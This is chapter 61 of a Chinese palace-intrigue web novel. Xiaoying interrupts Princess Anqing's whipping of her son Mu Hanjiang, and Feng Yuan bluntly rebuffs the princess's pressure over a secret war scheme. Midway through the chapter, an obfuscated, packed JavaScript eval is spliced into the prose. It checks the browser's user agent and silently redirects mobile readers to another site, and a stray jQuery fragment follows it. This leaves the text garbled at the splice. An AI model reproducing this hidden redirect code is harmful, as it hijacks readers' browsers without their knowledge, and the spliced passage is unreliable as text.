第61章

作品:《入局而定

    小萤天生是爱看热闹的性子,戴好了面纱,照了照镜子,又披上披风倚在门边,听着楼下的动静。


    原来慕嫣嫣是随着母亲同来的。安庆公主似乎听闻了临川之变后,便以回乡省亲为借口,带了女儿即刻启程往江浙赶来。


    而三皇子似乎是寻了什么公务,正好以顺路的借口,作为她们母女的护花使者,自告奋勇带兵护送。


    本以为魏国出兵,临川危矣。


    可没过几天的功夫,他们在来时的路上,就听闻临川大捷,凤尾坡光复的消息。


    安庆公主他们终于在尧城,跟慕寒江他们相遇了。


    只是好不容易找到了儿子,安庆公主并没入客栈,而是命人将慕寒江叫了出来,公主则等在客栈一旁的林子里。


    看慕嫣嫣焦急的样子,好像安庆公主正在责罚兄长,手段也有些厉害。


    可她又不敢拦着母亲,便急着来寻大皇子想办法。


    方才嫣嫣敲门时,一直没人应,三皇子一着急,就蛮力撞开了门,却撞了满脸尴尬。


    凤渊听了慕嫣嫣的解释,有些无动于衷。


    凤栖武不满:“嫣嫣求你,你倒是有点反应啊!


    “阿母教训儿子,哪有外人说话的份儿,你为何不去管?凤渊冷冷将话扔回给了三皇子。


    凤栖武被怼得有些无话可说,只能梗着脖子:“那……那可是安庆公主,我哪敢与她犟嘴……


    这位安庆公主,为人严苛,做事一丝不苟,可是能将混不吝的叔叔萧天养训得不吭声的硬茬。


    太后还在的时候,安庆公主几乎长住宫中,被太后熏陶,一身宫规礼仪,板正得比教习老媪都严厉。


    试问哪个皇子和公主不是从小看到安庆皇姑姑就绕着走的?


    就算是蛮牛,看了这位皇姑姑也得低下牛头。


    不过慕嫣嫣自从闯了房间后,不甚关心亲兄长的死活,只是抬头目不转睛地看着倚门看热闹的闫小萤。


    她实在忍不住,趁着三皇子说话间隙,指着那蒙着面的女郎问凤渊:“她是什么人?


    凤渊表情清冷,懒得理她,问清了情况后,便让店小二另外再准备一间上房。


    原来的屋子门坏了,他得另换一间。


    小萤看凤渊没有管闲事的意思,便踱步到二楼走廊西侧,隔着一扇窗看楼下树林里的情形。


    只见一个身着华服的女人,正板直立车边,赫然正是那日宫宴上看到的安庆公主,


    而一个孔武有力的侍卫正在执鞭抽打跪着的慕寒江。


    平日清冷孤高的公子,驯服跪地,身板依旧挺直,只是垂下高傲的头,任着人鞭挞。


    难怪慕嫣嫣着急,那侍卫下手可真狠,鞭挞的声音带


    着噼啪空响,一下下抽在慕寒江的后背上。


    慕寒江就这样闭眼承着打,雪白的衣服染上了点点红……


    许是实在忍不住,公子的后背微微瑟缩了一下。


    公主冷声道:“跪好!谁让你缩着后背,做那窝囊样子!


    慕寒江便立刻挺直后背,咬牙承受着打。


    凤渊上楼时,小萤将他叫过来,指给他看,小声问:“你真不管慕寒江啊?这是他亲阿母吗?该不会慕公子是从外面抱养回来的吧?


    这种训儿子的狠劲儿,连宫里的毒妇汤氏都自愧不如。


    若没人拦着点,只怕慕寒江受伤不轻。


    凤渊垂眸看着,满脸事不关己的冷漠。


    小萤也说不好,凤渊跟慕寒江之间到底如何。


    若说上次还了一刀后,二人就冰释前嫌了吧,也不尽然。


    更多的时候是慕寒江一头热与凤渊交好说话,凤渊一直都是态度淡淡的。


    慕公子虽然后来受了她的挑唆,出卖过凤渊一次,却也只是政见立场不同的无奈。


    他那次看见凤渊受罚的时候,可是急切地立刻去找陈诺求情了。


    反观凤渊,此时冷漠得让小萤有些微不适,他似乎并不太想管慕寒江的死活。


    就好像还了那一刀之后,凤渊跟慕寒江之间恩怨陈债两清,以后的恩怨便可重新再算。


    小萤无意谴责大皇子的为人处世。


    这所谓人情,各还各的,她还欠着慕卿呢。


    慕寒江为了自己在火场扒拉了好几个来回,血泡的痕迹到现在都没消除,如此厚重人情,岂能亏欠?


    于是小萤想了想,顺手掂起了走廊一旁摆放的花瓶,用力朝楼下林子砸去。


    然后她躲在凤渊的身后,掐着脖子,尖利嗓子大骂:“大半夜的,哪来的讨债鬼!还让不让人睡觉!讨账要银钱,就去衙门打,别在这扰人清梦!


    骂完之后,蒙面女郎在楼下凤栖武和慕嫣嫣惊诧钦佩的目光里,一溜烟跑回房中。


    慕公子,兄弟小萤尽力了!就看你阿母要不要面子,能不能歇了这顿打。


    果然堂堂公主要脸,被客栈的人砸了花瓶后,那树林的打终于停歇了。


    那三皇子和慕嫣嫣也赶紧往外跑,去树林接受伤的慕寒江去了。


    第二日晨起吃饭时,凤渊看了看还在赖床的小萤,便让店小二将饭食送到了屋子里。


    昨天晚上二人虽然同床,可是小萤坚持要分着被子睡。


    用她的话讲,虽然顶了侍妾的名分,可坚决不干额外的活,凤渊得规矩点,可不能平白占她的便宜!


    上次二人吻在一处,也不过是因为那日天气甚好,让她心里长草的缘故,但她也不是时时都这


    般比如今天的日头就不顺心意。


    这样的话若换了郎君来说便是始乱终弃吊儿郎当的得很!


    凤渊的脸微微沉了下来俊眸眨都不眨一下就那么幽幽看着小萤。


    小萤心安理得地翻了个身:最近天气不好小娘不乐意跟他腻歪怎样!


    然后她将被茧子裹好便蒙头大睡。


    可惜夜深露寒白天没有日头到了夜里更冷。


    这客栈还没有驱寒的炭火盆小萤睡着睡着不知怎么的就滚到了旁边凤渊的被窝里。


    正当壮年的郎君浑身都是热气腾腾的。


    冻得浑身冰凉的小萤贴着他睡手脚变得暖洋洋。


    这后半夜睡得香甜温暖天色渐亮也不肯睁眼。


    凤渊被藤蔓缠了一夜等到女郎突然撤了手脚背着身又滚回到自己冰凉的被窝里时便知道她醒了只是不愿承认自己越界入他人被窝故意在那装睡。


    他伸手捏着她的脸冲着她的眼皮吹气可小女郎就是不肯睁眼还发出了小猪的哼哼声。


    被缠得一夜都没怎么合眼的凤渊在她软嫩的脸蛋上亲了一下先起身下楼叫店小二打热水拿饭食。


    果然他上来时方才还沉睡不醒的女郎已经起床了。


    二人正在房中吃早饭时便有人上楼来请大殿下说是安庆公主随身带了厨子做的饭食要比客栈里精致些请大皇子去她房中用膳。


    “不必了我不吃来历不明的东西。”凤渊似乎不太将这位皇姑姑放在眼中硬邦邦地开口回绝。


    小萤连忙找台阶道:“大殿下方才喝了三碗稀粥吃得太饱还是先谢过安庆公主的心意若是方便可留个食盒子


    留着我们路上吃。”


    那门外的人领命下去了。小萤看着凤渊道:“怎么?你跟安庆公主也不对付?”


    凤渊没有说话只是用力咬着嘴里的咸菜咔嚓作响。


    “她这么千里迢迢半路拦人应该不是急着打儿子的缘故。看来公主是有话要与你讲。你不下去她一会可是要过来的。”小萤理智分析道。


    若是过来她无处可躲很有可能要跟慕寒江打照面。


    凤渊喝了最后一口粥立刻起身出了房间。


    小萤不肯落下热闹看安庆公主房间隔壁是空房便咬着吃了一半的馒头从外面的窗户绕过去跳入公主房间的隔壁顺着一处墙板缝隙往里望。


    起初便是生疏客气的寒暄安庆公主问起了大皇子侍妾事情。


    大约是昨日那慕嫣嫣同她阿母讲了砸瓶子的是大皇子带来的女人。


    所以安庆公主略略表达了歉意


    客


    气一番之后,话入正题。


    让安庆公主火急火燎一路赶来的原因,就是凤尾坡那场战事的问题。


    虽然慕寒江捂住了所谓“太子被俘


    可是安庆公主却消息灵通,知道儿子跟两位皇子引诱魏国开战的胆大勾当。


    这也是慕寒江昨夜挨了那顿打的原因。


    安庆公主此来,便是要问责,看一看若是事发,大皇子和慕寒江谁将这欺君之罪承揽了。


    也难怪宫里的皇子们都畏这安庆公主。


    虽然她生得不错,年岁大了也风韵犹存,称得上美人。


    可那一言一语的严谨,活似私塾里手持戒尺,扣押生死的老夫子。


    字字句句都是质问,下一刻就要入刑。


    昨夜挨打的慕寒江甚至不配坐着,就这么板直立在母亲身侧听训。


    听安庆公主的意思,是希望大皇子将主谋供出,看看这么狂妄胆大,刺激魏军出兵的计策究竟是何人所定。


    那话里话外,她的儿子慕寒江循规蹈矩,忠于陛下,不会如此行事乖张。


    而凤渊向来寡言,又刚从荒殿出来,也并非鬼谋之辈。


    于是这魁首一路推演,就只剩下那个在江浙装病不回的太子了。


    如此看来,主谋是太子无疑。若是将来在陛下面前陈情的时候,凤渊和慕寒江口径一致,或许可免得与太子连坐,得一个明哲保身。


    安庆公主口才不错,将凤渊如今的窘境困局点得一清二楚。若不依着她的指点去做,大皇子便前途未卜,荒殿将养的日子漫长可期。


    没等凤渊开口,一旁的慕寒江却先蹙眉:“母亲,这件事的确与太子无关,乃是儿子与大皇子擅做的决断。


    虽然是三人决定,可慕寒江不知为何,偏要将太子摘除干净,要与大皇子一力承担责任。


    凤渊不动声色瞟了慕寒江一眼,而隔壁的小萤却是有些感动:慕卿,昨晚没白救你,够义气!


    不过安庆公主似乎短了江湖儿女的肝肠,不但不感动,反而冷声呵斥慕寒江,让他闭嘴。


    然后公主又是转向


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15038875|135312||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    凤渊,问他的意思。


    这般迫人气势换成旁人,或许难以招架,可惜她今日训的是宫里唯一的疯子。


    凤渊不是三皇子他们,对这位安庆公主毫无敬畏心,听她言语敲打之后,淡淡道:“所以……关你什么事!


    安庆公主没想到大皇子回答得这般粗俗,表情微微一凌,复而微笑着道:“事关我的儿子,关系慕家的清誉,自然关系到我这个为人母的。说起来,我是你的皇姑姑,又与你阿母交好,为人长辈,总要给你们这些孩子指一条明路。


    凤渊靠着椅背,长腿交叠架


    在膝盖处,坐姿透着傲慢,他用长指敲着桌面,冷冽道:“若喜欢指点晚辈,可以关门自去找些乳臭小儿。我与慕公子行事,干系国政,犯不着与内宅妇人多谈,定国公夫人,你越界了!”


    他略过公主的名号不叫,偏偏叫了一声“国公夫人”,便是指出安庆如今已经嫁为人妇,自当守他慕家规矩。


    皇室凤家的儿子,不需要一个外嫁的太后义女来教!


    一旁的慕寒江显然也没有料到凤渊如此硬刚,有些诧异地抬头看了看凤渊,然后面无表情立在安庆公主身后,冲着大皇子竖起大拇指。


    可竖到一半,又觉得如此不孝行径有违人伦,便改成竖起食指摆了摆。


    看那意思,是希望凤渊悠着点,别太强硬。


    安庆公主转头时,慕公子连忙收起手指,将脸扭向一旁,很是认真地打量旁边的脸盆架子,恍如母亲和人吵架,与他无关。


    可见慕卿苦“母患”甚久,只是他没有凤渊的蛮横劲儿,不好直接忤逆母亲。


    话说到这,也无法进行下去。


    尽量安庆公主握了满手凤渊的把柄,可凤渊不接招,摆出“我要欺君,你奈我何”的架势,便不好再聊下去了。


    她向来说话惯占了上风,可如今在儿子面前被小辈顶嘴,自是有些下不来台。


    不过公主很快调整了情绪,略带僵硬自嘲道:“如今你和寒江祸事已闯,太子又滞留江浙未回。这些后果,的确是要你们二人面对。我这个内宅妇道人家能提醒的,也都同你们说了。回京以后,该如何向陛下坦白认错,你们也自掂量去吧。”


    屋内人不欢而散,小萤手里的馒头还没吃完,于是便顺着窗,准备绕回到房中。


    谁知往窗里探看时,发现屋内已经进了人。


    小萤赶紧撤回了头,方才匆匆一瞥,好像是慕家嫣嫣在房里走来走去。


    那女郎看着大床上略显凌乱的被子,不知联想到了什么乱七八糟,居然是一副捉奸在床,气愤填膺的样子。


    恰在这时,凤渊回来,看见慕嫣嫣在屋内,迅速看了一圈,确定小萤不在后,才冷声道:“你来我房中干嘛?”


    慕嫣嫣在太子跟前都敢呛声说话,偏偏对着凤渊倒压低了腔调:“我听阿兄说,那女子是你从江浙带回来的侍妾。你身为皇子,怎可如此荒唐行事?若被陛下知道,岂不是要责罚大殿下?”


    作为没有分宫而居的皇子,还未大婚前,宫里也能有些侍寝宫女。


    可像凤渊这般,从民间大大咧咧地带了出身卑微的女子回宫,容易落下口实。


    小萤蹲在窗下听着,觉得安庆公主训人的衣钵算是有人继承了。


    这慕嫣嫣八竿子打


    不着,却跑到凤渊房间来,指责他不检点。


    看来凤渊纳妾,慕嫣嫣比皇帝老子还气。


    再联想到慕嫣嫣以前在皇宫就动不动去找凤渊的情形,小萤自然也能猜出几分。


    论起来,凤渊若得了慕嫣嫣的青睐,对他来说百利无一害。


    毕竟慕家根基稳健,若能借势,凤渊自是在皇子里脱颖而出。有了慕寒江这个掌管暗卫的大舅哥,何愁将来之路?


    凤渊聪慧如斯,也应该想到这点吧?


    小萤倒是很好奇凤渊私下里会如何对待慕嫣嫣。


    毕竟这厮并非表面看起来那么不通男女情事,勾搭起女郎来,手段很有一套。


    单纯如慕家女郎必定是招架不住,被他手到擒来!


    可她始终没有听到凤渊说话,小萤不禁疑心这厮直接用了绝技,搂着慕家嫣嫣在亲吻。


    没等小萤含在嘴里的馒头变酸,就听到房门咣当一关,然后是慕嫣嫣在屋外拍门的动静了。


    许是怕引来母亲,那慕嫣嫣拍了几下门后,便负气而去了。


    小萤有些诧异,怎么这么快?难道他方才直接拎人扔出了屋外?


    探头一看,凤渊正立在窗边,手抱双臂低头看着她。小萤笑着咽下馒头,起身跳入了窗。


    “偷听得如何?”凤渊将她拉到桌旁问。


    小萤点评道:“就算回绝女郎,也得客气委婉些,给人留点面子,哪能扯了人扔在门外就了事的?你该庆幸慕家嫣嫣有些英武之气,不然岂不是被你弄得下不来台,钻了死胡同?”


    凤渊懒得梳理小女郎的缠牙事情,淡淡问:“我是问,那安庆公主的话,你如何看?


    ”


    看来他也猜到了小萤不会老实,去偷听他与安庆公主的对话了。